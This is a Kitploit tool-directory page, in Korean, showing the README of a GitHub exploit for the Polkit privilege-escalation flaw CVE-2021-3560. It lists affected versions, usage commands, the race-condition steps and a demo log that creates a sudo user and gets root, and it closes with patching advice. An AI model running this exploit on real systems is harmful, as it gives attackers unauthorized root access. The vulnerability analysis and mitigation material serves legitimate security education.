Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-3560_Polkit — CVE-2021-3560 Polkit 로컬 권한 상승 취약점 익스플로잇 | Kitploit
도구/GitHubGitHub/seimupve/cve-2021-3560_polkit
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHubseimupve/cve-2021-3560_polkit

CVE-2021-3560_Polkit

CVE-2021-3560 Polkit 로컬 권한 상승 취약점 익스플로잇

저장소 보기
1211개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-3560 Polkit 로컬 권한 상승

        .--.  .-"     "-.  .--.
      / .. \/  .-. .-.  \/ .. \
     | |  '|  /   Y   \  |'  | |
     | \   \  \ 0 | 0 /  /   / |
      \ '- ,\.-"`` ``"-./, -' /
       `'-' /_   ^ ^   _\ '-'`
        .--'|  \._   _./  |'--.
      /`    \   \ `~` /   /    `\
     /       '._ '---' _.'       \
    /           '~---~'           \
   /                               \

Linux 시스템의 PolicyKit(Polkit)에 영향을 미치는 CVE-2021-3560 취약점에 대한 자동화된 익스플로잇입니다.

⚠️ 경고: 이 도구는 통제된 실습 환경에서 교육 및 사이버 보안 교육 목적으로만 사용됩니다. 소유하지 않은 시스템에서 이 익스플로잇을 무단으로 사용하는 것은 불법입니다.

📋 목차

  • 취약점 정보
  • 취약한 시스템
  • 기능
  • 사전 요구 사항
  • 설치
  • 사용법
  • 작동 원리
  • 데모
  • 완화
  • 참고 자료

🔍 취약점 정보

CVE-2021-3560은 PolicyKit(polkit)의 로컬 경쟁 조건 취약점으로, 권한이 없는 사용자가 취약한 Linux 시스템에서 루트 권한을 획득할 수 있게 합니다.

기술적 세부 사항

  • CVE ID: CVE-2021-3560
  • 심각도: 높음 (CVSS 7.8)
  • 유형: 경쟁 조건 / 검사 시점-사용 시점(TOCTOU)
  • 영향: 로컬 권한 상승(LPE)
  • 공개 날짜: 2021년 6월

영향을 받는 버전

이 취약점은 서로 다른 버전 번호 체계를 가진 Polkit의 두 가지 브랜치에 영향을 미칩니다.

업스트림(공식 버전)

  • 취약: 0.113 ~ 0.118
  • 버그 도입: 커밋 bfa5036 (버전 0.113)
  • 수정: 버전 0.119+

Debian/Ubuntu 포크

  • 취약: 0.105-26 이상(0.118까지)
  • 버그 도입: 커밋 f81d021 (버전 0.105-26)
  • 취약하지 않음: Debian 10 "buster" (0.105-25)

💻 취약한 시스템

배포판Polkit 버전취약?
Ubuntu 20.040.105-26ubuntu1✅ 예
Ubuntu 18.040.105-20❌ 아니오
Debian testing "bullseye"0.105-31+✅ 예
Debian 10 "buster"0.105-25❌ 아니오
RHEL 80.115-11+✅ 예
RHEL 7< 0.113❌ 아니오
Fedora 21+0.113+✅ 예
Fedora 20 및 이전< 0.113❌ 아니오

📝 참고: 보안 패치가 적용된 시스템(예: ubuntu1.1, deb10u1)은 취약하지 않습니다.

✨ 기능

  • ✅ 자동 탐지: 여러 배포판에서 취약점 자동 탐지
  • ✅ 다중 OS 지원: Debian, Ubuntu, RHEL, CentOS, Fedora, Arch Linux
  • ✅ 의존성 확인: 필요한 도구 확인
  • ✅ 점검 모드: 익스플로잇 없이 취약점 확인
  • ✅ 적응형 타이밍: 최적의 경쟁 조건 타이밍 자동 측정
  • ✅ 진행 표시기: 실시간 진행 상황 표시
  • ✅ 색상 출력: 명확하고 읽기 쉬운 인터페이스
  • ✅ 강력한 오류 처리: 실패 시 명시적 메시지

📦 사전 요구 사항

Python 버전

  • Python 3.6+ (CentOS 8과 같은 구형 시스템과 호환)

시스템 종속성

익스플로잇에는 다음 도구가 필요합니다(자동 확인됨):

- dbus-send      # To communicate with D-Bus
- pkexec         # Part of PolicyKit
- id             # To verify user creation
- openssl        # To generate password hash

필요한 서비스

- accountsservice  # Must be installed and active

🚀 설치

# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit

# Make the script executable
chmod +x CVE-2021-3560_Polkit.py

📖 사용법

모드 1: 취약점 확인 (--check)

시스템이 취약한지 확인합니다(익스플로잇 실행 없이):

python3 CVE-2021-3560_Polkit.py --check

출력 예시:

[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)

모드 2: 익스플로잇

권한 있는 사용자 생성:

python3 CVE-2021-3560_Polkit.py -u <username> -p <password>

예시:

python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!

전체 옵션

usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]

options:
  -h, --help            Show help
  -u, --username        Username to create
  -p, --password        Password for new user
  -c, --check           Check vulnerability without exploiting

⚙️ 작동 원리

이 익스플로잇은 D-Bus 요청 처리 중 PolicyKit의 경쟁 조건을 악용합니다.

취약점 원리

  1. D-Bus 요청: 사용자가 사용자 생성을 위해 D-Bus 요청을 보냅니다
  2. 권한 확인: Polkit이 사용자에게 권한이 있는지 확인합니다
  3. 경쟁 조건: 확인 중 D-Bus 연결이 종료되면 Polkit이 UID를 0(루트)으로 처리합니다
  4. 사용자 생성: 사용자가 상승된 권한으로 생성됩니다

익스플로잇 단계

┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement                          │
│    └─> Test execution to calibrate timing              │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation                         │
│    └─> Send D-Bus CreateUser request                   │
│    └─> Kill process at precise moment (race condition) │
│    └─> Verify if user created                          │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation                            │
│    └─> Using openssl passwd -6                         │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting                      │
│    └─> Send D-Bus SetPassword request                  │
│    └─> Kill process at precise moment (race condition) │
│    └─> Test login with password                        │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation                                │
│    └─> Login with created account                      │
│    └─> Use sudo if member of sudo group                │
└─────────────────────────────────────────────────────────┘

🎬 데모

일반적인 익스플로잇 시나리오

# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!

# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!

╔═══════════════════════════════════════════════════════════╗
║       CVE-2021-3560 Polkit Privilege Escalation          ║
╚═══════════════════════════════════════════════════════════╝

[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!

╔═══════════════════════════════════════════════════════════╗
║                  EXPLOIT SUCCESSFUL!                      ║
╚═══════════════════════════════════════════════════════════╝

[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...

# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)

🛡️ 완화

시스템 관리자를 위한 조치

  1. PolicyKit 업데이트:

    # Debian/Ubuntu
    sudo apt update && sudo apt upgrade policykit-1
    
    # RHEL/CentOS/Fedora
    sudo yum update polkit
    # or
    sudo dnf update polkit
    
  2. 버전 확인:

    pkexec --version
    # Must be >= 0.119 (upstream) or patched
    
  3. 보안 패치 확인:

    # Debian/Ubuntu
    apt-cache policy policykit-1
    
    # RHEL/CentOS/Fedora
    rpm -q --changelog polkit | grep CVE-2021-3560
    

최소 안전 버전

  • 업스트림: ≥ 0.119
  • Ubuntu 20.04: 0.105-26ubuntu1.1 이상
  • Debian 11: 0.105-31+deb11u1 이상
  • RHEL 8: polkit-0.115-11.el8_4.1 이상

📚 참고 자료

공식 기사 및 문서

도구 다운로드